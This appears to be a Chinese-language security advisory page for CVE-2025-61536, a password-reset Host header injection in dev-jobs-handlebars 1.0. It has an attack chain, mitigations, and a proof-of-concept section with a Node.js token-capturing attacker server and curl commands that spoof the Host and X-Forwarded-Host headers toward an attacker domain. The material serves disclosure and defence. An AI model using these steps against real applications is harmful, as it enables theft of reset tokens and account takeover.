IPBUF安全漏洞报告
English
CVE-2025-61536 CVSS 8.2 高危

CVE-2025-61536:dev-jobs-handlebars密码重置链接Host头注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61536
漏洞类型
Host头注入/密码重置投毒
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FelixRiddle dev-jobs-handlebars

相关标签

Host头注入密码重置投毒账户接管令牌窃取网络钓鱼CWE-640CWE-200dev-jobs-handlebarsFelixRiddleNode.js

漏洞概述

CVE-2025-61536是FelixRiddle dev-jobs-handlebars 1.0版本中存在的一个高危安全漏洞。该漏洞源于应用程序在生成密码重置(magic link)链接时,直接使用了未经信任的HTTP请求头`req.headers.host`来构建绝对URL,并且强制使用`http://`协议方案。这种不安全的实现方式使得攻击者可以通过控制HTTP请求的Host头字段,将密码重置链接中的域名部分替换为攻击者控制的恶意域名。CVSS 3.1评分为8.2分,属于高危级别漏洞,其攻击向量为网络攻击(AV:N),无需任何权限认证(PR:N),也不需要用户交互(UI:N),机密性影响为高(C:H),完整性影响为无(I:N),可用性影响为低(A:L)。该漏洞于2025年10月16日由MITRE组织披露。攻击者可以利用该漏洞实施密码重置令牌窃取、网络钓鱼攻击以及账户接管等恶意行为,对用户账户安全构成严重威胁。当目标系统部署在配置不当的反向代理或负载均衡器后端,且这些中间件未对Host头进行校验或重写时,漏洞的可利用性将进一步增加。

技术细节

该漏洞的核心技术原理在于Web应用程序对HTTP Host头的盲目信任。在HTTP/1.1协议中,Host头用于指定客户端请求的目标主机,应用程序通常应将其视为不可信的用户输入。然而,dev-jobs-handlebars 1.0在实现密码重置功能时,采用了类似以下的代码模式来生成重置链接:`const resetLink = \`http://${req.headers.host}/reset?token=${token}\``。这种实现存在两个关键安全问题:1)直接使用`req.headers.host`构建URL,攻击者可以通过修改HTTP请求中的Host头来控制链接中的域名部分;2)硬编码使用`http://`协议而非`https://`,即使在生产环境中使用HTTPS,生成的链接仍然是不安全的明文HTTP协议。攻击者可以通过以下方式利用该漏洞:首先,攻击者向目标应用的密码重置接口发送精心构造的HTTP请求,在请求中将Host头设置为攻击者控制的服务器域名(如`evil.com`);然后,当受害用户请求密码重置时,系统会生成包含恶意域名的重置链接并发送给用户;最后,当用户点击该链接时,重置令牌将被发送到攻击者的服务器,攻击者即可使用该令牌重置用户密码并接管账户。此外,如果目标系统位于反向代理或负载均衡器之后,且这些中间件未正确配置X-Forwarded-Host或未对Host头进行验证,攻击者还可以通过X-Forwarded-Host头绕过代理层的保护,进一步增加攻击的成功率。

攻击链分析

STEP 1
步骤1:环境侦察
攻击者识别目标应用为dev-jobs-handlebars 1.0版本,并确认其密码重置功能使用req.headers.host构建重置链接。攻击者同时检查目标是否部署在反向代理或负载均衡器后,以确定可利用的头注入方式。
STEP 2
步骤2:搭建恶意服务器
攻击者在其控制的域名(如evil.com)上部署一个HTTP监听服务,用于接收并捕获受害者的密码重置令牌。该服务器可以伪装成正常页面以避免引起受害者怀疑。
STEP 3
步骤3:构造恶意请求
攻击者向目标应用的密码重置接口(/forgot-password)发送精心构造的HTTP请求,将Host头修改为攻击者控制的域名evil.com。如果目标在代理后,还可以通过X-Forwarded-Host头绕过代理层的Host头验证。
STEP 4
步骤4:触发密码重置
受害者在收到正常的密码重置请求或攻击者主动触发后,应用系统生成密码重置链接。由于Host头被篡改,链接变为http://evil.com/reset?token=<SECRET_TOKEN>,并通过邮件发送给受害者。
STEP 5
步骤5:令牌窃取
受害者点击邮件中的重置链接后,请求被发送到攻击者的服务器evil.com,攻击者成功捕获密码重置令牌。攻击者还可以将受害者重定向到合法网站以避免被发现。
STEP 6
步骤6:账户接管
攻击者使用捕获的令牌访问合法的密码重置接口,设置新的密码,从而完全控制受害者账户。攻击者还可以利用此漏洞进行网络钓鱼活动,窃取更多敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-61536 PoC - Host Header Injection in Password Reset * Vulnerability: dev-jobs-handlebars 1.0 uses untrusted req.headers.host * to construct password reset magic links with http:// scheme * * Usage: This PoC demonstrates how an attacker can poison password reset * links by manipulating the Host header in HTTP requests. */ // Step 1: Attacker sets up a listener on attacker-controlled domain // to capture the leaked reset tokens const http = require('http'); const url = require('url'); // Attacker server to capture stolen tokens const attackerServer = http.createServer((req, res) => { const parsedUrl = url.parse(req.url, true); console.log(`[+] Captured token: ${parsedUrl.query.token}`); console.log(`[+] Full URL: ${req.url}`); // Forward victim to legitimate site to avoid suspicion res.writeHead(302, { 'Location': 'https://legitimate-site.com/login' }); res.end(); }); attackerServer.listen(80, () => { console.log('[*] Attacker server listening on port 80'); }); // Step 2: Attacker sends password reset request with manipulated Host header // The vulnerable code constructs: http://${req.headers.host}/reset?token=${token} // By changing Host header to attacker.com, the link becomes: // http://attacker.com/reset?token=SECRET_TOKEN const exploitRequest = ` POST /forgot-password HTTP/1.1 Host: attacker-controlled-domain.com Content-Type: application/json Content-Length: 35 {"email":"[email protected]"} `; console.log('[*] Exploit request to send:'); console.log(exploitRequest); console.log('\n[*] When victim receives the reset email, the link will be:'); console.log(' http://attacker-controlled-domain.com/reset?token=<STOLEN_TOKEN>'); console.log('\n[*] Attacker can now use the captured token to reset victim\'s password'); // Step 3: Using curl to exploit console.log('\n[*] Equivalent curl command:'); console.log(`curl -X POST http://target-app.com/forgot-password \\ -H "Host: attacker-controlled-domain.com" \\ -H "Content-Type: application/json" \\ -d '{"email":"[email protected]"}'`); // Step 4: Using X-Forwarded-Host to bypass proxy validation console.log('\n[*] If behind a misconfigured proxy, use X-Forwarded-Host:'); console.log(`curl -X POST http://target-app.com/forgot-password \\ -H "X-Forwarded-Host: attacker-controlled-domain.com" \\ -H "Content-Type: application/json" \\ -d '{"email":"[email protected]"}'`);

影响范围

FelixRiddle dev-jobs-handlebars 1.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在反向代理/负载均衡器层面配置Host头白名单,拒绝或重写非法的Host头请求;2)在应用代码中临时修改密码重置功能,使用硬编码的可信域名(如process.env.BASE_URL)替代req.headers.host;3)配置Web服务器(如Nginx)设置server_name并验证Host头;4)监控异常的密码重置请求,特别是来自异常Host头的请求;5)临时关闭密码重置功能,改为人工重置流程;6)对所有密码重置邮件进行人工审核,确保链接域名正确。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表